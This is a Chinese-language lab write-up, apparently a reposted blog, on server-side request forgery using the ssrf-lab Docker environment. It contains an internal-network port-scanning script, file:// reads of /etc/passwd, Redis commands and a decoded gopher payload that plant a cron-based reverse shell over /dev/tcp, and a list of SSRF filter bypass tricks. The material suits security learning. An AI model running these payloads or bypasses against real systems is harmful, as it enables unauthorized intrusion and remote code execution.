从ssrf-lab详解看ssrf


前言:首先需要下载ssrf-lab
https://github.com/m6a-UdS/ssrf-lab
然后,使用docker搭建服务
docker-compose up -d 静默开启服务

在这里插入图片描述

这个是有compose.yml存在时候,在同级目录下使用
停止 docker-compose stop
清除 docker-compose kill

如果没有的话,

在这里插入图片描述
直接./Makefile执行文件即可
我们查看我们的镜像,然后进行run
在这里插入图片描述

简介

利用一个可以进行发起网络请求的服务,进行对内网攻击

可以使用协议

tftp ftp telnet dict ldap ldaps http file https ftps scp sftp

主要使用:
分别是http、file、gopher、dict协议
详细见这里
https://www.cnblogs.com/-mo-/p/11673190.html

basic

basic让我们先看看有哪几种方法
这个是basic源码。

<?php 
	// create curl resource 
	$ch = curl_init(); 

	// set url 
	curl_setopt($ch, CURLOPT_URL, $_POST["handler"]); 

	//return the transfer as a string 
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

	// $output contains the output string 
	$output = curl_exec($ch); 

	// close curl resource to free up system resources 
	curl_close($ch);

	echo $output;
?>

curl_init — 初始化 cURL 会话
curl_setopt — 设置 cURL 传输选项.
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这里,第三个参数就是第二个参数的URL值
curl_exec这里直接执行了一波命令

而且并没有任何的检验
这里放一下ssrf内网探测的py3脚本

# encoding:utf-8
import requests
import time
ports = ['80','3306','8080','8000','8111']
#会话保持
session = requests.Session()
for i in range(255):
    ip = '192.168.80.%d' % i
    for port in ports:
        Url='http://example.com/?url=http://%s:%s' % (ip,port)
        try:
            res = session.get(Url,timeout=3)
            if len(res.content) > 0:
                print(ip,port,'is open')
        except:
            continue
print('done')

在这里插入图片描述
在这里插入图片描述
输入file:///etc/passwd读取用户密码,发现是可以读取,如果是windows系统可查看file:///C:/Windows/System32/drivers/etc/hosts
在这里插入图片描述
我们在docker内部进行安装redis
docker exec -it xxxx /bin/bash
在这里插入图片描述
开启redis服务
在这里插入图片描述
http当然是不可以的,我们可以使用dict
dict://127.0.0.1:6379/info

获取本地配置信息在这里插入图片描述

gopher 拓展攻击面
redis 一般运行在内网,攻击者通过ssrf,未授权访问redis服务,就能导致增删查改其中的内容,利用导出功能写计划任务,webshell 以及ssh公钥,

攻击redis ,一般是写入crontab 进行反弹shell
攻击流程如下

redis-cli flushall
echo -e "\n\n*/1 * * * * bash -i /dev/tcp/172.28.0.3/1234 0>&1\n\n" | redis-cli -x set 1
redis-cli config set dir /var/spool/cron
redis-cli config set dbfilename root
redis-cli save

更多详情可以见这里
当然我们可以使用自动组装gopher工具
https://github.com/tarunkant/Gopherus
使用方法
在这里插入图片描述

在这里插入图片描述
我们生成一下redis试试
在这里插入图片描述
直接生成反弹shell
我们url解码一下看看

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$64


*/1 * * * * bash -c "sh -i >& /dev/tcp/127.0.0.1/1234 0>&1"



*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

快照文件配置由
配置文件中 dir 指定 config dir

在这里插入图片描述
在这里插入图片描述

advanced1

在这里插入图片描述
在上面输入payload
下面回有回显

<?php 
	
	$handler = $_POST["handler"];
	if (preg_match('#^https?://#i', $handler) !== 1) {
		echo "Wrong scheme! You can only use http or https!";
		die();
	} else if(preg_match('#^https?://10.0.0.3#i', $handler) === 1) {
		echo "Restricted area!";
		die();
	}

	// create curl resource 
	$ch = curl_init(); 

	// set url 
	curl_setopt($ch, CURLOPT_URL, $_POST["handler"]); 

	//return the transfer as a string 
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

	// $output contains the output string 
	$output = curl_exec($ch); 

	// close curl resource to free up system resources 
	curl_close($ch);

	echo $output;
?>

这里用到了正则对内网ip进行访问。只能使用http/s,不允许访问10.0.0.3
在这里插入图片描述
那么我们使用绕过即可
在这里插入图片描述
在这里插入图片描述

advance 2

在这里插入图片描述

第二个发现无法创建,因为网段冲突了,两个都是10段
需要删除docker网段
在这里插入图片描述

docker network ls     # 查看docker网卡


docker network rm 网卡id   # 删除docker网卡


docker network inspect 网卡id   # 查看docker网卡的相关详细信息

代码中使用了py进行解析

url=request.form['handler']
host = urlparse.urlparse(url).hostname
if host == 'secret.corp':    
    return 'Restricted Area!'
else:    
    return urllib.urlopen(url).read()

跟第一个环境一样,我们先用http://secret.corp来测试。
在这里插入图片描述

SSRF漏洞学习实验环境推荐及过程记录
在这里插入图片描述

URL 解析器分析出这部分内容是访问已被限制的域,下面要介绍一个新的知识点了,我们先来测试一下它能不能起作用。在测试点输入http://google.com# @secret.corp。

SSRF漏洞学习实验环境推荐及过程记录

绕过这个到底是基于什么原理呢?让我们再次回顾一下 url 的结构。

scheme://user:pass@host:port/path?query=value#fragment
原来http://google.com# @secret.corp中@后面的secret.corp是真正要访问的 host,前面的google.com#绕过了 urlparse 的解析。感觉很神奇而且让人有点摸不着头脑,了解一下原理会好很多。SSRF 漏洞产生的根本原因是 url 中有空格(CRLF 注入),这让 python 中的两个模块解析 url 的时候起了冲突,urlparse 认为 host 是 google.com,而 urllib 则认为真正的 host 是 secret.corp 并且直接发出了请求。

相当于是参数污染之类的,

advanced3

在这里插入图片描述
实验二三有问题,就找一些已有的

ssrf攻击方法总结

http://www.codersec.net/2020/05/SSRF%E6%94%BB%E5%87%BB%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB/

ssrf绕过方法总结

1.http://[email protected]/与http://www.baidu.com/请求时是相同的

2.各种IP地址的进制转换
十进制
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

十六进制需要加0x
在这里插入图片描述

八进制需要加0(可以为多个)

在这里插入图片描述

3.URL跳转绕过:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/

4.短网址绕过 http://t.cn/RwbLKDx

5.xip.io来绕过:http://xxx.192.168.0.1.xip.io/ == 192.168.0.1 (xxx 任意)
在这里插入图片描述

指向任意ip的域名:xip.io(37signals开发实现的定制DNS服务)

6.限制了子网段,可以加 :80 端口绕过。http://tieba.baidu.com/f/commit/share/openShareApi?url=http://10.42.7.78:80

7.探测内网域名,或者将自己的域名解析到内网ip

8.例如 http://10.153.138.81/ts.php , 修复时容易出现的获取host时以/分割来确定host,

但这样可以用 http://[email protected]/ 绕过
9.利用Enclosed alphanumerics

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

在这里插入图片描述
DNS rebinding
需要我们自己搭建dns server 运行自己编译的解析服务

补充

为什么要set dbfilename root??

最后补充一下,可进行利用的cron有如下几个地方:

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

转自这里

猜你喜欢

转载自blog.csdn.net/hxhxhxhxx/article/details/111770479